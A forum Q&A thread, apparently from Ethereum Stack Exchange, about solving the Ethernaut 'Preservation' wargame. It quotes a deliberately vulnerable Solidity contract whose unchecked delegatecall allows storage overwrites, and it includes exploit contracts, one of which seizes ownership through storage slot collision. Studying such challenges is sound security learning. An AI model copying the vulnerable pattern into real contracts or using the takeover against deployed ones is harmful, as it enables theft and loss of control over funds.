1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}
// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
contract Exploit{
  uint num1;
  uint num2;
  uint num3;

  function setTime(uint256 _time) public {
    num3 = _time;
  }
}

The above is the Ethernaut challenge and the LibraryContract is deployed by the creator and the Preservation contract will call the Library contract and change the timeZone1Library. So I have passed the uint variable of my Exploit contract address i.e. (uint256(uint160(address(ExploitAddress)))).Then I successfully changed the storage slot 0 in the Preservation contract. But when I tried to change the owner of the Preservation contract using the Exploit contract by using the same above process of changing the address to the uint. I failed to replace the storage slot of the owner variable. Let me know what mistake I made with my Exploit contract.

1 Answer 1

0

Your Exploit contract isn't set up correctly which is why you aren't able to pass the challenge.

After changing the timeZone1Library to your Exploit contract's address, to manipulate the owner data in the Preservation contract, you have to make sure you are altering the right storage slot with the correct data.

For example:

contract Exploit {
    address public timeZone1Library; // SLOT 0
    address public timeZone2Library; // SLOT 1
    address public owner;            // SLOT 2
    uint storedTime;                 // SLOT 3

function setTime(uint _time) public {
    owner = msg.sender;
}

A delegateCall to this contract will set the second storage slot to msg.sender inside the calling contract, which in this case is Preservation.

You can read a thorough guide on this challenge here.

2
  • yeah,I know the solution you have provided will work. But i want to know that i have changed the same storage slot in my solution but with different data type i.e uint,because this method works for the Library contract as in the LibraryContract he passed the uint which is the change value of address and it successsfullt changed to the address type in the slot 0 of the preservation contract.But why that didn't work for my case.
    – kumar
    Sep 21, 2023 at 10:21
  • @kumar the uint is passed because the initial call uses the library function, you said "I successfully changed the storage slot 0 in the Preservation contract.", which means you have already completed the first step. The next step is to change the owner using your exploit contract.
    – Rohan Nero
    Sep 21, 2023 at 17:54

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.